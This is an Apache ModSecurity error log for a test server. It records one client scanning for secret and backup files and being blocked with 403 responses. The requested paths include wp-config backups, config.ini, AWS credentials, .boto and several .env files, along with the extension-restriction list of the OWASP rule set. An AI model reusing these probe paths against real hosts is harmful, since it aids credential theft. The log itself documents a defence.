[Mon Jul 28 20:45:59.530715 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpsAAAAAI&quot;]
[Mon Jul 28 20:45:59.530907 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpsAAAAAI&quot;]
[Mon Jul 28 20:45:59.531058 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpsAAAAAI&quot;]
[Mon Jul 28 20:45:59.576271 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpsgAAAAI&quot;]
[Mon Jul 28 20:45:59.576422 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpsgAAAAI&quot;]
[Mon Jul 28 20:45:59.576631 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpsgAAAAI&quot;]
[Mon Jul 28 20:45:59.576805 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.backup&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpsgAAAAI&quot;]
[Mon Jul 28 20:45:59.662799 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVptQAAAAI&quot;]
[Mon Jul 28 20:45:59.663095 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVptQAAAAI&quot;]
[Mon Jul 28 20:45:59.663248 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVptQAAAAI&quot;]
[Mon Jul 28 20:45:59.710118 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVptwAAAAI&quot;]
[Mon Jul 28 20:45:59.710266 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVptwAAAAI&quot;]
[Mon Jul 28 20:45:59.710507 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVptwAAAAI&quot;]
[Mon Jul 28 20:45:59.710706 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVptwAAAAI&quot;]
[Mon Jul 28 20:45:59.733164 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials/admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpuAAAAAI&quot;]
[Mon Jul 28 20:45:59.733422 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpuAAAAAI&quot;]
[Mon Jul 28 20:45:59.733606 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpuAAAAAI&quot;]
[Mon Jul 28 20:45:59.779160 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpugAAAAI&quot;]
[Mon Jul 28 20:45:59.779503 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpugAAAAI&quot;]
[Mon Jul 28 20:45:59.779697 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bak&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpugAAAAI&quot;]
[Mon Jul 28 20:45:59.825330 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.bitbucket/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpvAAAAAI&quot;]
[Mon Jul 28 20:45:59.825537 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpvAAAAAI&quot;]
[Mon Jul 28 20:45:59.825694 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bitbucket/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpvAAAAAI&quot;]
[Mon Jul 28 20:45:59.847881 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.boto&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .boto found within REQUEST_FILENAME: /.boto&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpvQAAAAI&quot;]
[Mon Jul 28 20:45:59.848073 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpvQAAAAI&quot;]
[Mon Jul 28 20:45:59.848224 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.boto&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpvQAAAAI&quot;]
[Mon Jul 28 20:45:59.893664 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.c9/metadata/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpvwAAAAI&quot;]
[Mon Jul 28 20:45:59.893869 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpvwAAAAI&quot;]
[Mon Jul 28 20:45:59.894034 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpvwAAAAI&quot;]
[Mon Jul 28 20:45:59.916240 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.circleci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpwAAAAAI&quot;]
